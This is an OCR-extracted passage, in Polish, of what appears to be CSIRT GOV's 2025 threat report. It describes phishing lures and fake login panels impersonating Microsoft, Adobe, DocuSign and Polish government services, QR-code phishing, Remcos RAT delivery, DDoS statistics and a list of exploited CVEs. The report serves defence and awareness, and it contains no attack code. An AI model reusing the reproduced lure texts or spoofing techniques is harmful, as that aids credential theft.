Please enter your mailbox password to
continue.

Stay signed in

® Secure Mail Server

Rysunek 1. Spreparowany panel logowania do poczty.

Kolejnym typem kampanii stale obserwowanych przez Zespot CSIRT GOV byty kampanie bazujace
na motywie koniecznosci wyswietlenia badz podpisania rzekomych dokumentéw (np. finansowych lub
dotyczacych zatrudnienia) za posrednictwem zatgczonego w wiadomosci email hipertacza. Gdy odbiorca

wiadomosci poda w formularzu swoje dane uwierzytelniajace, przesytane sg one do adwersarza.

Obserwowane sg rowniez warianty wiadomosci z zatgczonymi plikami (czesto w formatach HTML
oraz PDF), ktdre sa rozmyte i posiadajg natozony na siebie panel logowania badz hipertacze odwotujgce

sie do strony z podstawionym panelem logowania. Ponizej przedstawiono przyktady wskazanego schematu
ataku.
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Oferta Anfrage Heiz-Kihl Skid

DocuSign L

_sp. z 0.0 5ent you a document

Please note: It is important that you check the document,

Pozdrawiam / Best regards / Meilleures salutations

Specjalista ds. Zakupow _sp. z

0.0

0 6 0 ©

This e-mail {(and its possible attachments) is strictly confidential. It is intended solely for the use of the recipients and access
by others is unauthorized. If you are not the intended recipient please notify the sender immediately and delete this e-mail
and its attachments from your system. You may not disclose, use, distribute, copy or rely upon this message or its possible
attachments. E-mail transmission cannot be guaranteed to be timely secure, error or virus-free as information could be
incomplete, intercepted, corrupted, lost or destroyed. Therefore, we disclaim all liability for any loss and/or damage arising
from the use of this email or attachments.

Rysunek 12. Wiadomos¢ informujgca odbiorce o koniecznosci wyswietlenia rzekomego dokumentu za posrednictwem
dostepnego hipertacza.
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File Home Insert Draw View Help @ Tell me what you want to do

N — oo -
I - - o.0
p Wednesday, February 19, 2025 5:06 AM
| uocores I

WYSWIETL DOKUMENT

Rysunek 13. Notatka Microsoft OneNote z odwotaniem do spreparowanego panelu logowania.

ry Bookmarks TIools Help
n/doc-vi X
zoopsign.com
Kali Linux # Kali Tools <« Kali Docs X KaliForums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

- zoopsign Invoice028946_Pyment.pdf

EETIE RV © Z0 3P

Rysunek 14. Fatszywy dokument do wyswietlenia.
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Rysunek 15. Fatszyw dokument do wyswietlenia.

E% Microsoft
Sign in

Email, phone, or Skype

Q Sign-in options

Rysunek 16. Podstawiony panel logowania wykorzystujgcy wizerunek firmy Microsoft.
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Wsrad stale odnotowywanych zagrozen wystepujacych w CRP nalezy réwniez wskaza¢ kampanie
wykorzystujace podszycia pod popularne programy biurowe, np. czytniki plikéw PDF. Podobnie jak dla
poprzedniego typu kampanii, i w tym przypadku wykorzystywane sg wiadomosci email informujace
o nowym dokumencie do wyswietlenia. Uzytkownik po kliknigciu w zamieszczone w wiadomosci hipertacze
przenoszony jest na strone WWW z podstawionym panelem logowania wykorzystujgcym podszycie np. pod
ustugi firmy Adobe.

Wiadomosci wysytane do uzytkownikow obserwowane sg w dwdch wariantach, gdzie pierwszy
z nich przypomina wiadomos$¢ automatyczng wystang z blizej nieokreslonego systemu, natomiast drugi
wariant polega na podszyciu sie pod wspotpracownikow lub przetozonych potencjalnej ofiary. Tego
rodzaju dziatania s zazwyczaj poprzedzone etapem rozpoznania relacji organizacyjnych oraz zaleznosci
personalnych wystepujacych w danej organizacji. Pozwala to atakujgcemu zwigkszy¢ wiarygodnosé
prowadzonej komunikacji, a tym samym podnies¢ prawdopodobienstwo wykonania przez odbiorce

czynnosci wskazanych w wiadomosci.

w ‘ Onllne,Doc@
info30@biocotton.co.th

_shared a document with you.

Repl Forward Archive nk Delete || More v

New Document Notification

vear I
A new document has been sent to _ Please

find the details below:

Document Name: SOA .pdf

Date Sent: 7/9/2025 4:58:13 a.m.

VIEW DOCUMENT ONLINE

This is an automated message - please do not reply directly to this email

© 2025 ~ Rights Reserved

Rysunek 17. Wiadomos¢ email informujaca uzytkownika o nowym dokumencie PDF do wysSwietlenia.
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Ghassan Bukai
overseal8@pacificlt.com

| 4 Reply|| ® Forward || B Archive|| & Junk|| i Delete | More v|

Quotation request

pear

| hope this email finds you well
Please send us a quotation for the list of items to UAE.

With the following specifications attached:

Thanks & Regards,

Ghassan Bukai

Estimation & Tenders

Tender Co-Ordinator -

Ghassan Bukai

Dubai | Tel: +971 4 3792264 Abu Dhabi | Tel: +971 2
6589897

www.gbhic.com

Please do not print this email unless it is necessary.

The information contained in this electronic message and any attachments to this message are intended for the exclusive
use of the addressee(s) and may contain proprietary, confidential or privileged information. If you are not the intended
recipient. you should not disseminate, distribute or copy this e-mail. Please notify the sender immediately and destroy all
copies of this message and any attachments.

> [ 1attachment: RFQ_6935-INQUIRY.HTML 68.6 KB & Save v

Rysunek 18. Wiadomos¢ email informujgca odbiorce o zatgczonej liScie przedmiotow do kupienia wraz z prosba
0 wycene.

Canfirm detity 1a Prove You are not a Rebel

Enter Password

CONTINUE

Rysunek 19. Fatszywy panel logowania wykorzystujacy logo firmy Adobe.
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Recent

Starred

Adobe cloud storage
Your files

Scans

Shared by you

Shared by others

Agreements

All agreements

Other file storage

‘Your computer

Seealltools -

Add comments @ Requeste-signat.. © 4 Fill & sign

Recent

Sign in to view
Document.

Email:

PO VT#5799775

Password:

Shared Document (s)

Always open PDFs in Acrobi

Set as default

File Inde

POF - To

Add file storage

Login to View Document

Welcome

Free 7-day trial PDE - Today, 1126 AM

Get unlimited access to all PDF
and e-signing tools

Try Acrobat Pro

Rysunek 20. Fatszywy panel logowania wykorzystujacy identyfikacje wizualna firmy Adobe.

Podobnym rodzajem zagrozenia sg wiadomosci email, ktdrych celem jest wytudzenie danych

logowania do serwiséw dostawcdw ustug, w tym hostingu, poczty elektronicznej czy innych ustug cyfrowych.

Zaobserwowane wiadomosci zazwyczaj informowaty uzytkownika o koniecznosci doptaty do

zapewnianej ustugi czy tez wystawieniu faktury za takowa ustuge.

Paulina Bedkowska-Warot
poczta@praca-govpl.com

Junk Delete|| More v

Re: przesytam potwierdzenie ptatnosci

Witam
Wszystkie faktury wczoraj wyszty. Przesytam potwierdzenie piatnosci.

Pozdrawiam,
Paulina Bedkowska-Warot

> [J 1attachment: przelewu2783463.pdf 238 KB L Save v

Rysunek 21. Wiadomos¢ email dotyczace rzekomej ptatnosci za ustuge.
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_ _ home.pl ]

WYSWIETL PDF

EDYTUJ PDF

POBIERZ PDF

Rysunek 22. Spreparowany dokument PDF z logo popularnej firmy hostingowe;.

home.pl

Blad sesji badz sesja wygasia!
Zaloguj sie do poczty home.pl, aby
wyswietli¢ dokument.

Email

Hasto

Ozapamieta] mnie

Nie pamigtasz hasta?

Rysunek 23. Fatszywy panel logowania do poczty home.pl.
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Zagrozenia o rosnacej intensywnosci

Jednym z gtownych zagrozen identyfikowanych w 2025 roku byty kampanie socjotechniczne

dystrybuujace wiadomosci email, w ktdrych, w zaleznosci od wariantu, atakujacy dostarczat do ofiary kod

-
E%

Rysunek 24. Poréwnanie kodow QR (z lewej) oraz Aztec (z prawej).

Ofiara, skanujac kod urzadzeniem mobilnym, ktdre w wigkszosci nie byto zarzadzanie poprzez
administratorow infrastruktury teleinformatycznej organizacji (np. urzadzenia prywatne), przekierowywana
byta na spreparowany panel logowania do wybranej ustugi (np. Microsoft 365 Copilot) celem wytudzenia
danych uwierzytelniajacych. Dane te przesytane byty do infrastruktury kontrolowanej przez atakujacego.
Po wpisaniu danych logowania do podstawionego panelu, ofierze wyswietlany byt zazwyczaj komunikat
0 btedzie, ktory uniemozliwiat podjgcie dalszych krokow. Osoba zaatakowana pozostawata tym samym
w przekonaniu, iz logowanie do rzeczywistej ustugi nie powiodto sie. Ponizej zamieszczono schemat ataku

z poszczegolnymi wariantami kampanii oraz opisami etapow.

#2.1

CIE

/ =2 \ #5
a1 #2.2 #4
EE #3 =
s, (§> o] @ &% )
_#223 GC=)
\ g /
@#2.4

Rysunek 25. Schemat kampanii z wykorzystaniem kodéw QR/Aztec.
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Poczatkowo adwersarz dystrybuowat wiadomosci email do listy odbiorcow (#1). Dostarczona

wiadomos¢, w zaleznosci od wariantu kampanii, moze sig roznic¢ na nastepujace sposoby:

- bezposrednio w tresci wiadomos$ci email zamieszczony zostat kod QR do zeskanowania (#2.1);

- w tresci wiadomosci email zamieszczony zostat link do strony WWW, na ktdrej znajdowat sie kod
QR do zeskanowania (#2.2);

- w zataczniku do wiadomosci znajdowato sie hipertacze do strony WWW, na ktdrej znajdowat sie
kod QR do zeskanowania (#2.3);

- w zatgczniku do wiadomosci znajdowat sie kod QR do zeskanowania (#2.4).

Po zeskanowaniu kodu QR (#3) dostarczonego w poprzednim etapie ataku nastepowato
przekierowanie na strone z fatszywym panelem logowania do wybranych ustug cyfrowych (#4). Serwis
gromadzacy dane z podstawionego panelu logowania przekazywat je dalej na serwer bedacy pod kontrolag
atakujacego (#5).

Ruch sieciowy nawigzywany ze stronami z podstawionymi panelami logowania nie przechodzit
w wigkszosci zarejestrowanych przypadkow przez zapory sieciowe organizacji ze wzgledu na skanowanie
koddw QR urzadzeniami prywatnymi odbiorcow wiadomosci email badz urzadzeniami mobilnymi organizacji,
ktore nie byty zarzadzane przez system typu MDM (ang. Mobile Device Management). Ponizej przedstawiono

wybrane przyktady wiadomosci stanowigcych opisywany atak.

Be Microsoft

The contents of this message have been securely sent to
via Microsoft Encryption Message Service.
To access and retrieve this message, please follow the provided instructions below.

For your convenience, you may use your smartphone’s camera to quickly scan the QR
code below for access message.

Rysunek 26. Wytudzenie danych logowania z podszyciem pod firme Microsoft.
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DocuSign
Electronic Signature
Document Status Report

pate: [

Status: Pending Signature

Hello [

Your document has been completed.

Document Details:

Draft Payment Schedule.pdf

You can now scan the QR code to review and complete your signature process.

Disclaimer: Tt

Rysunek 27. Wytudzenie danych logowania z podszyciem pod serwis DocuSign.

Podszycia pod serwisy w ramach domeny gov.pl

Jednym ze statych elementow kampanii socjotechnicznych obserwowanych przez Zespét CSIRT
GOV sa podszycia pod podmioty administracji panstwowej. W 2025 roku, podobnie jak w poprzednich latach,
obserwowano duza liczbe kampanii socjotechnicznych z wykorzystaniem podszycia pod administracje
panstwowa prowadzonych przez réznego rodzaju aktorow, w tym grupy APT. Obserwowane przedsiewziecia
tego typu sg ukierunkowane, w zaleznosci od kampanii, na pracownikow instytucji panstwowych lub na

osoby prywatne.

Bardzo popularnym przyktadem podszycia pod polskg administracje panstwowa byty kampanie 4
WE
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phishingowe prowadzone z wykorzystaniem wizerunku Ministerstwa Finansow, Krajowej Administracji

Skarbowej czy urzedow skarbowych. Kampanie przybierajg na intensywnosci szczegdlnie w okresie

rozliczen podatkowych. Adwersarze, podszywajac sie pod urzedy skarbowe, dystrybuujg informacje

o niedoptacie badz oczekujacym zwrocie podatku. W tym celu adwersarz zazwyczaj namawia do przelania

na konto rzekomego urzedu kwoty okreslonej jako zalegty podatek badz kwoty pozwalajacej na weryfikacje

konta bankowego celem przestania przez urzad nadptaty podatku.

W

E‘g e-Urzad Skarbowy

Twoje dane podatkowe

Identyfikator podatkowy™

™ PESEL MIP

PESEL / NIP*

Zaloguj sig
Ministerstwaol
Finansdw
Palityka pr
Klaweula ir
.
.
padatki gow.pl
Funawsze
Euiopagmi

P Gl

Deklaracjs deslignoio tenwisu

jra Minisira Finansdw

nformacja o deistalnoia Minisersiwa

Reeczpospolita
Patska "

Unia Europejska
Rtk Fasdany
"

o e

Twéj e-Us

Skontaktuj sig z nami

Rysunek 28. Widok strony podszywajacej sie pod serwis e-Urzad Skarbowy.
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m pOdatki.gOV,pl Q f‘o Uméw wizyte w urzgdzle skarbowym @ e-Urzad Skarbowy

e-Urzad Skarbowy

e-Urzad Skarbowy umozliwia Ci zatatwienie wielu spraw online - bez wychodzenia z domu, na dowolnym urzadzeniu, 24/7

70
O W=
‘

Tredci zsmi w serwisie bezplatrie. zrrescl h w serwisie podatkigov.pl, Unia E sk
F ze fezaleznie od celu | sposobu karzystania, nie viymaga zgady Miniscerstwa Finansaw. Treci znaczane w serwisie jako reéci nia Europejska
Europejskie bedace przedmiotem praw autorskich, o ile nie jest to stwierdzone inacze], s3 udostepniane na licencji Creative Commons Europejski Fundusz
Polska Cyfrowa ot 3.0 Palot. Rozwoju Regionalnego

Rysunek 29. Widok strony podszywajacej sie pod serwis e-Urzad Skarbowy.

& p Odatki.gov.pl Q E Uméw wizyte w urzedzie skarbowym ; e-Urzad Skarbowy

Aby kontynuowaé proces weryfikacji, upewnij sig, ze dane bankowe zostaty poprawnie
wprowadzone. Obecnie akceptujemy tylko okreslone metody — prosze wybrac jedng z
powyzszych opcji. Po zakoficzeniu otrzymasz oficjalne potwierdzenie.

VIsA

POTWIERD? | 74 0F WHNIOSEK O ZWROT VISA

POTWIERDZ | ZLOZ WNIOSEK O ZWROT MASTERCARD

Rysunek 30. Widok strony podszywajacej sie pod serwis podatki.gov.pl z informacja o rzekomym zwrocie podatku.

Kolejnym przyktadem sg kampanie socjotechniczne podszywajace sie pod inne systemy
administracji panstwowej. Ponizsze podszycie pod portal podatkowy Ministerstwa Finanséw miato na celu
wytudzenie danych logowania. Poczgtkowo adwersarz przystgpit do masowej dystrybucji wiadomosci email

z informacja o mozliwosci ,weryfikacji statusu przetwarzania wysytki". 4
&
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eSprawozdania | mf.gov.pl
esprawozdania_3h3iiz0p31@swift-mail.com

W

E

Do eSprawozdania | mf.gov.pl <esprawozdania_3h3iiz0p31@swift-mail.com > 1.04.2025, 09:56

Informacja dotyczaca eSprawozdania

Status przetwarzania wysytki mozna sprawdzic¢ poprzez wywolanie adresu: https;//e-
sprawozdania,mf,gov,pl/ap/#/step7-upo-list/5080192e8d1d4d788d45c3302ceelcd?

Rysunek 31. Wiadomos$¢ email w ramach kampanii.

Hipertacze zawarte w tresci wiadomosci prezentowane byt jako odnosnik do autentycznej witryny
Ministerstwa Finansow, gdzie w adresie zamiast kropek zastosowano przecinki, natomiast poprzez
zastosowanie techniki URL spoofing rzeczywistym adresem, do ktdrego prowadzit link byta domena
w ramach ustug Amazon Web Services (AWS). Atakujacy poprzez panel logowania serwisu podszywajacego
sig pod ustuge Ministerstwa Finansow ukierunkowat swoj atak na pozyskanie danych logowania do poczty

elektronicznej oraz popularnych serwisow hostingowych.

Serwis Rzeczypospolite] Polskie]

gov.pl

Login Z)  Biznes.gov.pl

Zaloguj sie przez adresu e-mail

Nie pamigtam adres e-mail

Haslo

Nie pamigtam hasla

ZALOGUJ SIE

Login / Biznes.gov.pl

Rysunek 32. Panel logowania strony podszywajacej sie pod serwis biznes.gov.pl.
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gov_p| Senwis Rzeczypospolite] Polskie]

Login 2)  Biznes.gov.pl

< Nieprawidiowe haslo |ub adresu e-mail.

Zaloguj sie przez e-mail

Wyblerz swojego dostawce poczty e-mail, aby automatycznie
logowac sie do konta gov.pl

Ilome.pl cyber_Folks d‘i\nuinQ pl
p— @nazwapl Q) zenbox

B® Microsoft W OvHcloud P i

Login / Biznes.gov.pl

Rysunek 33. Logowanie na strone podszywajaca sie pod serwis hiznes.gov.pl.

Proby dystrybucji ztosliwego oprogramowania

Poczta elektroniczna niezmiennie stanowi najpopularniejszy wektor ataku wykorzystywany przez
atakujacych do dystrybucji ztosliwego oprogramowania. W tym przypadku aktorzy rowniez wykorzystuja,
zaréwno kampanie masowe, jak i ataki ukierunkowane, ktorych celem jest infekcja systemu ofiary, kradziez
danych lub uzyskanie nieautoryzowanego dostepu do infrastruktury organizacji. Mechanizm dziatania
takich kampanii opiera sig gtownie na socjotechnice oraz ukrywaniu ztosliwego kodu w zatgcznikach lub
odnosnikach URL.

W kampaniach identyfikowanych w 2025 roku powszechnie spotykane byty zataczniki stanowiace
dokumenty pakietu Microsoft Office, archiwa ZIP, RAR oraz 7z. Rownie czesto do dystrybucji ztosliwego
oprogramowania wykorzystywane byty pliki o takich rozszerzeniach jak LNK, HTA, IS0, IMG, VBS oraz innych

umozliwiajacych uruchomienie badz przechowanie ztosliwego kodu.

Tres¢ wiadomosci byta zwykle przygotowywana w sposob maksymalizujgcy prawdopodobienstwo
podjecia interakcji przez uzytkownika. Adwersarze wykorzystywali motywy zwigzane z fakturami,
zamodwieniami, przesytkami kurierskimi, dokumentami HR lub komunikatami od administracji IT. Jednym
z przyktadow dystrybucji ztosliwego oprogramowania bytincydent zwigzany z przestaniem przez adwersarza

wiadomosci email z informacjg o checi zakupienia od odbiorcy przedmiotow z zatgczonej do korespondencji

A\ \\\\\\\\ 0 \\ W=
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listy produktéw. Nadawca podszywat sie pod Miejski Zaktad Gospodarki Komunalnej i Mieszkaniowe;.
W zataczeniu wiadomosci email atakujacy zamiescit archiwum o rozszerzeniu .7z, w ramach ktdrego

zamieszczone byty pliki o rozszerzeniach .exe oraz .dll.

Arleta Janiak Reptv|[# Forward| (B Archive . Delete|[More v
wepLy rurwald ATCHIVE JUNK velele
avtopark12@brest.by :

To undisclosed-recipients:;
Zapytanie ofertowe
Czesd,

W zaktaczeniu przesytamy naszg prosbe o wycene, w ktérej wymienione
53 wymagane pozycje 1 odpowiadajace im ilosci.

Bedziemy wdzieczni, jesli przeslesz nam szczegdtows wycene do 27
czerwca 2025 r.

Jesli masz jakies pytania lub potrzebujesz dalszych wyjasnien, nie
wahaj sie z nami skontaktowac. Czekamy na Twoja odpowiedZ.

Z powazaniem

Arleta Janiak

MZGKiM - Dziat Obstugi Klienta i Sprzedazy
ul. Paderewskiego 3, 99-340 Krosniewice

> [J 1attachment: Listy zamowien.7z 1.9 MB & Save v

Rysunek 34. Wiadomos¢ email dystrybuujaca Remcos RAT.

Kampanie socjotechniczne dystrybuowane ze skompromitowanych kont
zagranicznych instytucji rzadowych

Zespot CSIRT GOV regularnie identyfikuje rowniez kampanie socjotechniczne dystrybuowane na
skrzynki poczty elektronicznej polskiej administracji z przejetych kont zagranicznych instytucji rzadowych.
Zazwyczaj przejete przez adwersarzy skrzynki poczty elektronicznej pochodza z panstw azjatyckich oraz
Ameryki tacinskiej. Powyzsze dziatanie nierzadko ma na celu uwiarygodnienie przesytanej do potencjalnej
ofiary korespondencji. Przejmowanie kont poczty elektronicznej zagranicznych instytucji panstwowych
jest domeng grup o motywacjach szpiegowskich, ktdre po przejeciu takiego konta prowadza ataki na

analogiczne podmioty panstw pozostajacych w ich zainteresowaniu.

Ponizsza kampania socjotechniczna, mimo przejecia konta email jednej z zagranicznych organizacji
rzadowych, ukierunkowana byta na podmioty polskiej administracji centralnej. Wiadomosci dystrybuowane

byty w jezyku polskim z wykorzystaniem ttumaczenia maszynowego. Korespondencja informowata odbiorce

o rzekomej koniecznoci aktualizacji konta pocztowego odbiorcy. \\\;%\\\
W W
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admin
More v

A @

aby przenosic i blokowac inne wiadomosci spam

Szanowny uzytkowniku,

Aktualizujemy wszystkie konta e-mail do Zimbra 2025, wiec wszyscy aktywni posiadacze kont e-mail musza
sprawdzic i zalogowac sie, aby aktualizacja i migracja byly teraz wazne. Ma to na celu poprawe
bezpieczenstwa i wydajnosci ze wzgledu na ostatnie wiadomosci spamowe.

Kliknij na: Aktualizuj konto Zimbra
aby przenosic i blokowac inne wiadomosci spam.

UWAGA.: Jesli nie zaktualizujesz swojego konta Zimbra w ciagu 24 godzin od otrzymania tego
powiadomienia, Twoje konto pocztowe zostanie natychmiast zablokowane ze wzgledow bezpieczenstwa.

Zahezpieczenie Twojego konta jest naszym najwyzszym priorytetem!

Z powazaniem,
admin

Rysunek 35. Wiadomos¢ email wystana z przejetego konta zagranicznej organizacji rzadowej.

W rzeczywistosci po kliknigciu w odnosnik nastepowato przekierowanie na fatszywy panel

logowania Zimbra Web Client.

ST W

&



\\ \\\L;f\\\
W=

Ataki DDoS

Zespot CSIRT GOV prowadzit w 2025 roku monitoring zagrozen zwigzanych z atakami DDoS
wymierzonymi w infrastrukture podmiotow objetych jego obszarem kompetencyjnym. W ciggu 2025 roku
odnotowano 374 takie incydenty. W pordwnaniu z rokiem 2024, w ktorym zarejestrowano tacznie 348
atakow DDoS, oznacza to wzrost 0 7,5% w skali roku.

Ich rozktad w podziale na poszczegolne kwartaty przedstawiono ponizej.

279
59
- . .

Kwatat | Kwartat Il Kwatat llI Kwartat IV

Wykres 6. Liczba atakow DDoS w podziale na kwartaty.

Duzy wzrost liczby atakow DDoS w drugim kwartale 2025 roku wynika ze wzmozonej aktywnosci
adwersarzy ukierunkowanej na ustugi elektroniczne administracji rzadowej przeznaczone do celow
rozliczen podatkowych. Ataki te jednakze nie przetozyty sie negatywnie na $wiadczone przez administracje
rzadowa ustugi, a proces rozliczen podatkowych nie zostat zaktdcony.
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W ciggu catego 2025 roku celem atakow DDoS byty 32 instytucje znajdujace sie we wtasciwosci
CSIRT GOV. W poréwnaniu z rokiem 2024 liczba atakowanych podmiotow zmniejszyta sig 0 27,3%. Najwigksza

liczbe atakowanych podmiotéw odnotowano w pierwszym kwartale roku.

Rozktad liczby atakowanych podmiotow w podziale na poszczegdlne kwartaty przedstawiono

17
14
11
| '

Kwatat | Kwartat || Kwatat IlI Kwartat IV

ponizej.

Wykres 7. Liczba zaatakowanych instytucji z podziatem na kwartaty.

Charakterystyka atakow DDoS wskazuje, iz dominowaty ataki wykorzystujgce metody okreslane

jako DNS Flood oraz ataki aplikacyjne bazujace na licznych zapytaniach HTTP.

Analizujac zrddta pochodzenia atakow DDoS w 2025 roku nalezy zauwazy¢, ze geolokalizacja
najaktywniejszych adreséw IP najczesciej wskazywata na Stany Zjednoczone, Polske oraz Federacje
Rosyjska. W przypadku czesci zdarzen obserwowano istotny udziat polskich adresow IP, ktore
najprawdopodobniej nalezaty do zainfekowanych urzadzen w ramach sieci botnet. Wykorzystanie polskie;
adresacji IP mogto zwiekszac¢ skutecznos¢ atakow, poniewaz pozwalato na obejscie mechanizmow

bezpieczenstwa dziatajacych w oparciu o geolokalizacje.

W poréwnaniu z rokiem 2024 udziat adresow IP z Polski wzrdst z 9% do 15%, a z Rosji z 6% do
9%, podczas gdy udziat USA pozostat na niezmienionym poziomie 21%. Zmianie ulegta rowniez struktura
pozostatych panstw - w 2024 roku w czotdwce znajdowaty sie Finlandia (8%) i Korea Potudniowa (5%),
natomiast w 2025 roku ich miejsce zajety Niemcy (8%) i Francja (7%). Moze to wskazywac na zmiany

w infrastrukturze wykorzystywanej przez adwersarzy do prowadzenia atakow DDoS.

Ponizszy wykres przedstawia rozktad krajow, z ktdorych adresow IP odnotowano najwyzszg
—
&

aktywnos$¢ w kontekscie atakow DDoS.
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= USA = Polska = Rosja Niemcy
= Francja = Singapur = Finlandia = Hiszpania
= Bufgaria = Chiny = Pozostate

Wykres 8. Procentowy rozktad zidentyfikowanych adreséw IP bioracy udziat w atakach DDoS.

Kolejnym istotnym elementem oceny zagrozenia ze strony atakéw DDoS byt czas ich trwania.
W 2025 roku $redni czas trwania ataku wynidst 84,5 minuty i byt 0 21,6% dtuzszy niz w roku 2024. Najdtuzsze
ataki odnotowano w pierwszym kwartale roku, natomiast w kolejnych kwartatach Sredni czas ich trwania

utrzymywat sie na poziomie ponizej jednej godziny.

Kwartat IV m >0
Kwartat Il m 29
Kwartat Il m 48

Wykres 9. Sredni czas ataku przedstawiony w minutach w podziale na kwartaty.

Zespot CSIRT GOV w 2025 roku odnotowywat wysoka aktywnos¢ grup hatywistycznych, ktorych
dziatanie ukierunkowane byty na wywotanie niedostepnosci ustug badz stron internetowych podmiotéw
pozostajacych we wtasciwosci Zespotu. Zespot CSIRT GOV stale monitoruje aktywno$¢ grup trudnigcych
sie prowadzeniem atakow typu DoS/DDoS, a w przypadku identyfikacji zagrozenia przesyta informacje

o planowanym ataku do podmiotu pozostajacego w zainteresowaniu grupy. \\
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Przeglad podatnosci w obszarze dziatania CSIRT GOV

Zesp6t CSIRT GOV odnotowat w 2025 roku wysoki poziom zagrozen zwigzanych z probami
wykorzystania luk bezpieczenstwa w urzadzeniach brzegowych, systemach CMS, systemach poczty
elektronicznej oraz powszechnie uzywanym oprogramowaniu. Wsrdéd wykrytych podatnosci znalazty sie

takze luki typu zero-day, ktdre byty aktywnie wykorzystywane przez cyberprzestepcow.

Ponizej przedstawiono przeglad wybranych podatnosci, ktore miaty istotny wptyw na poziom
zagrozenia systemow i sieci teleinformatycznych podmiotow pozostajacych w obszarze wtasciwosci
Zespotu CSIRT GOV.

Styczen

- 7-Zip (CVE-2025-0411) - Podatnos¢ wynikajaca z btgdnej obstugi mechanizmu Mark-of-the-Web
(MoTW) w systemie Windows. Podczas rozpakowywania specjalnie przygotowanego archiwum
program nie przenosit oznaczenia, ze plik pochodzi z niezaufanego zrodta np. sieci Internet, przez
co system nie wyswietlat ostrzezenia bezpieczenstwa. Luka moze pozwoli¢ na uruchomienie

ztosliwego kodu bez standardowych ostrzezen bezpieczenstwa systemu Windows.

+ Ivanti (CVE-2025-0282, CVE-2025-0283) - Krytyczne podatnosci w produktach VPN lvanti,
umozliwiajace zdalne wykonanie kodu (CVE-2025-0282) oraz lokalng eskalacjge uprawnien (CVE-
2025-0283).

+ Microsoft Windows (CVE-2025-21311) - Podatno$¢ w systemie Microsoft Windows umozliwia
lokalnemu uzytkownikowi podniesienie uprawnien poprzez wykorzystanie btedu w obstudze
komponentow systemowych (Windows NTLM V1).

Luty

. Palo Alto Networks (CVE-2025-0108) - Podatnos¢ w oprogramowaniu PAN-0S umozliwia
nieuwierzytelnionemu atakujagcemu ominiecie mechanizmu uwierzytelniania w interfejsie sieciowym
zarzadzania zapory oraz wywotanie okreslonych skryptow PHP. Podatnos¢ umozliwia uzyskanie
dostepu do wybranych funkcji administracyjnych, co moze prowadzi¢ do dalszej kompromitacji

urzadzenia.

. Zimbra Collaboration Suite (CVE-2025-25064) - Podatnos$¢ wynikajaca z braku odpowiedniej \2
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walidacji parametrow wejsciowych w ustudze ZimbraSync (SOAP endpoint). Luka umozliwia
uwierzytelnionemu atakujagcemu przeprowadzenie ataku typu SQL injection, co w konsekwencji
moze prowadzic¢ do nieautoryzowanego dostepu do metadanych wiadomosci email oraz ujawnienia

wrazliwych informacji.
Marzec

» Kubernetes (CVE-2025-1974) - Podatnos¢ w kontrolerze ingress-nginx systemu Kubernetes,
wynikajgca z niewystarczajacej walidacji danych wejsciowych oraz btedow w mechanizmach obstugi

zadan. Luka moze prowadzi¢ do wykonania dowolnego kodu w kontekscie kontrolera ingress-nginx.

« Microsoft Windows (CVE-2025-24071) - Podatnos¢ w systemie Microsoft Windows umozliwia
przechwycenie skrotéw NTLM poprzez nawigzanie potaczenia Eksploratora Windows z zasobem

SMB kontrolowanym przez atakujgcego.

» Apache Tomcat (CVE-2025-24813) - Podatnos¢ w popularnym serwerze aplikacji Java Apache
Tomcat umozliwiajaca zdalne wykonanie kodu poprzez przetworzenie specjalnie przygotowanych

zadan HTTP. Luka wynika z nieprawidtowej obstugi plikow oraz mechanizméw serializacji.

« VMware ESXi (CVE-2025-22224) - Krytyczna podatnos¢ zwigzana z btedem w obstudze pamieci
(TOCTOU), ktora moze prowadzi¢ do zapisu danych poza dozwolonym obszarem. Umozliwia
ona uruchomienie ztosliwego kodu na hoscie, co moze doprowadzi¢ do przejecia kontroli nad

srodowiskiem wirtualizacji i innymi maszynami.
Kwiecien
« Ivanti (CVE-2025-22457) - Podatnos¢ w produktach Ivanti wynikajgca z przepetnienia bufora

w interfejsie sieciowym. Podatnos¢ umozliwia zdalne wykonanie kodu.

. SAP (CVE-2025-31324) - Krytyczna podatnos¢ w platformie SAP NetWeaver. Luka umozliwia
nieuwierzytelnionemu atakujgcemu przestanie na podatny serwer dowolnych plikow, co w efekcie

moze prowadzi¢ do kompromitacji systemu.
Maj

» Fortinet (CVE-2025-32756) - Krytyczna podatnos¢ w produktach FortiVoice, FortiMail, FortiNDR,
FortiRecorder oraz FortiCamera umozliwia zdalnemu, nieuwierzytelnionemu atakujgcemu

wykonanie dowolnego kodu lub polecen poprzez wystanie spreparowanych zadan HTTP.
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Czerwiec

» NetScaler (CVE-2025-5777, CVE-2025-6543, CVE-2025-7775) - Podatnosci wynikajgce z bteddw
w obstudze pamigci, umozliwiajace m.in. zdalne wykonanie kodu (RCE), odczyt danych z pamieci lub

atak typu DoS na urzadzeniach skonfigurowanych jako brama lub serwer wirtualny.

» Cisco (CVE-2025-20282) - Krytyczna podatnos¢ w oprogramowaniu Cisco Identity Services Engine
(ISE) wynikajaca z btednej implementacji mechanizmu generowania poswiadczen podczas instalacii.
Wykorzystanie podatnosci umozliwia atakujgcemu nieautoryzowany dostep administracyjny,

modyfikacje konfiguracji systemu lub eskalacje uprawnien.

. Google Chrome (CVE-2025-6554) - Podatnosc¢ typu type confusion w silniku przegladarki,
umozliwiajgca manipulacje strukturami obiektow w pamieci i uzyskanie dostepu do
nieautoryzowanych obszaréw pamieci. Wykorzystanie podatnosci moze prowadzi¢ do zdalnego

wykonania kodu na urzadzeniu uzytkownika.

» Roundcube (CVE-2025-49113) - Podatno$¢ typu RCE wynikajgca z braku walidacji parametru ,from”.
Umozliwia zdalnemu uwierzytelnionemu atakujgcemu wykonanie dowolnego kodu na serwerze, co

moze prowadzic¢ do przejecia systemu i dostepu do korespondencji uzytkownikéw.

Lipiec
« Fortinet (CVE-2025-25257) - Podatnosc typu SQL Injection w webowym interfejsie zarzadzania (GUI),
wynikajaca z niewtasciwej walidacji danych wejsciowych. Umozliwia przestanie spreparowanego

zadania HTTP/HTTPS zawierajacego ztosliwe zapytania SQL, ktére moga zosta¢ wykonane w bazie

danych urzadzenia.

» Microsoft SharePoint (CVE-2025-53770, CVE-2025-53771) - Podatnosci umozliwiajgce obejscie
mechanizméw uwierzytelniania oraz uzyskanie dostgpu do zasobow serwera SharePoint.
Wykorzystanie luk moze prowadzi¢ do kradziezy danych, eskalacji uprawnien oraz dalszej
kompromitacji infrastruktury organizaciji.

Sierpien

« Trend Micro (CVE-2025-54948) - Krytyczna podatnos¢ w konsoli zarzadzania Trend Micro Apex
